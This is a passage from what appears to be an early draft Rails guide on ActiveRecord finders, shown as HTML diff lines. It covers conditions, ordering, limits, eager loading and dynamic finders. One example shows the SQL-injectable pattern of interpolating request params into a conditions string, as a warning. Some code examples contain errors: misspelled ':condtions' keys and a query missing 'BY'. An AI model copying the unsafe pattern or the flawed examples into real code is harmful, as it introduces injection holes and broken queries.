+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>>> Client.find(:first)
+=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
+If you were running script/server you may see the following output:
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+</tt></pre></div></div>
+<div class="para"><p>Indicating the query that Rails has performed on your database.</p></div>
+<div class="para"><p>To find the last client you would simply type <tt>Client.find(:last)</tt> and that would find the last client created in your clients table:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>>> Client.find(:last)
+=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+</tt></pre></div></div>
+<div class="para"><p>To find all the clients you would simply type <tt>Client.find(:all)</tt> and that would find all the clients in your clients table:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>>> Client.find(:all)
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+</tt></pre></div></div>
+<div class="para"><p>Alternatively to calling Client.find(:first)/<tt>Client.find(:last)</tt>/<tt>Client.find(:all)</tt>, you could use the class method of <tt>Client.first</tt>/<tt>Client.last</tt>/<tt>Client.all</tt> instead. <tt>Client.first</tt>, <tt>Client.last</tt> and <tt>Client.all</tt> just call their longer counterparts.</p></div>
+<div class="para"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to find will do also.</p></div>
+</div>
+<h2 id="_conditions">5. Conditions</h2>
+<div class="sectionbody">
+<div class="para"><p>If you'd like to add conditions to your find, you could just specify them in there, just like <tt>Client.find(:first, :conditions ⇒ "orders_count = <em>2</em>")</tt>. Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like <tt>Client.find(:first, :conditions ⇒ ["orders_count = ?", params[:orders]])</tt>. ActiveRecord will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.find(:first, :conditions ⇒ ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has <em>2</em> as its value for the orders_count field and <em>false</em> for its locked field.</p></div>
+<div class="para"><p>The reason for doing code like:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>`Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])</span>`
+</tt></pre></div></div>
+<div class="para"><p>instead of:</p></div>
+<div class="para"><p><tt>Client.find(:first, :conditions ⇒ "orders_count = #{params[:orders]}")</tt></p></div>
+<div class="para"><p>is because of parameter safety. Putting the variable directly into the conditions string will parse the variable <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.</p></div>
+<div class="para"><p>If you're looking for a range inside of a table for example users created in a certain timeframe you can use the conditions option coupled with the IN sql statement for this. If we had two dates coming in from a controller we could do something like this to look for a range:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span> <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span>
+</tt></pre></div></div>
+<div class="para"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`users`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-31'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-01'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-02'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-03'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-04'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-05'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-06'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-07'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-08'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-09'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-10'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-11'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-12'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-13'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-14'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-15'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-16'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-17'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-18'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-19'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-20'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-21'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-22'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-23'</span><span style="color: #990000">,...</span>
+<span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">15</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">16</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">17</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">18</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">19</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">20</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">21</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">22</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">23</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">24</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">25</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">26</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span>
+</tt></pre></div></div>
+<div class="para"><p>Things can get <strong>really</strong> messy if you pass in time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span> <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`users`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-01 00:00:00'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-01 00:00:01'</span> <span style="color: #990000">...</span> <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span>
+</tt></pre></div></div>
+<div class="para"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Got a packet bigger than 'max_allowed_packet' bytes: <query>
+</tt></pre></div></div>
+<div class="para"><p>Where <query> is the actual query used to get that error.</p></div>
+<div class="para"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>condtions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at > ? AND created_at < ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<div class="para"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>condtions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at >= ? AND created_at <= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
+</tt></pre></div></div>
+<div class="para"><p>Just like in Ruby.</p></div>
+</div>
+<h2 id="_ordering">6. Ordering</h2>
+<div class="sectionbody">
+<div class="para"><p>If you're getting a set of records and want to force an order, you can use <tt>Client.find(:all, :order ⇒ "created_at")</tt> which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using <tt>Client.find(:all, :order ⇒ "created_at desc")</tt></p></div>
+</div>
+<h2 id="_selecting_certain_fields">7. Selecting Certain Fields</h2>
+<div class="sectionbody">
+<div class="para"><p>To select certain fields, you can use the select option like this: <tt>Client.find(:first, :select ⇒ "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 0,1</tt> on your database.</p></div>
+</div>
+<h2 id="_limit_amp_offset">8. Limit & Offset</h2>
+<div class="sectionbody">
+<div class="para"><p>If you want to limit the amount of records to a certain subset of all the records retreived you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retreived from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=></span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This code will return a maximum of 5 clients and because we've specified no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span>
+</tt></pre></div></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=></span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This code will return a maximum of 5 clients and because we have specified an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_group">9. Group</h2>
+<div class="sectionbody">
+<div class="para"><p>TODO</p></div>
+</div>
+<h2 id="_read_only">10. Read Only</h2>
+<div class="sectionbody">
+<div class="para"><p>Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an <tt>ActiveRecord::ReadOnlyRecord</tt> error. To set this option, specify it like this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>readonly <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>If you assign this record to a variable <tt>client</tt> calling the following code will raise an ActiveRecord::ReadOnlyRecord:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>readonly <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
+client<span style="color: #990000">.</span>locked <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+client<span style="color: #990000">.</span>save
+</tt></pre></div></div>
+</div>
+<h2 id="_lock">11. Lock</h2>
+<div class="sectionbody">
+<div class="para"><p>If you're wanting to stop race conditions for a specific record, say for example you're incrementing a single field for a record you can use the lock option to ensure that the record is updated correctly. It's recommended this be used inside a transaction.</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"></div></div>
+</div>
+<h2 id="_making_it_all_work_together">12. Making It All Work Together</h2>
+<div class="sectionbody">
+<div class="para"><p>You can chain these options together in no particular order as ActiveRecord will write the correct SQL for you. If you specify two instances of the same options inside the find statement ActiveRecord will use the latter.</p></div>
+</div>
+<h2 id="_eager_loading">13. Eager Loading</h2>
+<div class="sectionbody">
+<div class="para"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. Lets say for example if we wanted to load all the addresses associated with all the clients all in the same query we would use <tt>Client.find(:all, :include ⇒ :address)</tt>. If we wanted to include both the address and mailing address for the client we would use `Client.find(:all), :include ⇒ [:address, :mailing_address]). Inclue will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000383</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
+Address <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.119770</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
+MailingAddress <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.001985</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> mailing_addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
+</tt></pre></div></div>
+<div class="para"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.find(:all)</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.</p></div>
+<div class="para"><p>An alternative (and more efficient) way to do eager loading is to use the joins option. For example if we wanted to get all the addresses for a client we would do <tt>Client.find(:all, :joins ⇒ :address)</tt> and if we wanted to find the address and mailing address for that client we would do <tt>Client.find(:all, :joins ⇒ [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">`Client Load (0.000455) SELECT clients.* FROM clients INNER JOIN addresses ON addresses.client_id = client.id INNER JOIN mailing_addresses ON mailing_addresses.client_id = client.id</span>
+</tt></pre></div></div>
+<div class="para"><p>This query is more efficent, but there's a gotcha. If you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins.</p></div>
+<div class="para"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"></div></div>
+</div>
+<h2 id="_dynamic_finders">14. Dynamic finders</h2>
+<div class="sectionbody">
+<div class="para"><p>With every field (also known as an attribute) you define in your table, ActiveRecord provides finder methods for these. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from ActiveRecord. If you have also have a <tt>locked</tt> field on the client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>. If you want to find both by name and locked, you can chain these finders together by simply typing and between the fields for example <tt>Client.find_by_name_and_locked(<em>Ryan</em>, true)</tt>. These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type <tt>find_by_name(params[:name])</tt> than it is to type <tt>find(:first, :conditions ⇒ ["name = ?", params[:name]])</tt>.</p></div>
+<div class="para"><p>There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil, the SQL looks like this for <tt>Client.find_or_create_by_name(<em>Ryan</em>)</tt>:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`name`</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
+BEGIN
+<span style="font-weight: bold"><span style="color: #0000FF">INSERT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">INTO</span></span> <span style="color: #FF0000">`clients`</span> <span style="color: #990000">(</span><span style="color: #FF0000">`name`</span><span style="color: #990000">,</span> <span style="color: #FF0000">`updated_at`</span><span style="color: #990000">,</span> <span style="color: #FF0000">`created_at`</span><span style="color: #990000">,</span> <span style="color: #FF0000">`orders_count`</span><span style="color: #990000">,</span> <span style="color: #FF0000">`locked`</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
+COMMIT
+</tt></pre></div></div>
+<div class="para"><p><tt>find_or_create</tt>'s sibling, find_or_initialize, will find an object and if it does not exist will call <tt>new</tt> with the parameters you passed in. For example:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize new object similar to calling <tt>Client.new(:name ⇒ <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
+</div>
+<h2 id="_finding_by_sql">15. Finding By SQL</h2>
+<div class="sectionbody">
+<div class="para"><p>If you'd like to use your own SQL to find records a table you can use <tt>find_by_sql</tt>. <tt>find_by_sql</tt> will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:</p></div>
+<div class="exampleblock">
+<div class="exampleblock-content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and converting those to objects.</p></div>
+</div>
+<h2 id="_working_with_associations">16. Working with Associations</h2>
+<div class="sectionbody">
+<div class="para"><p>When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an exisiting record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested controllers.</p></div>
+</div>
+<h2 id="_named_scopes">17. Named Scopes</h2>
+<div class="sectionbody">
+<div class="para"><p>In this section we'll cover adding named scopes to the models in the application. Let's say we want to find all clients who are male we would use this code:</p></div>
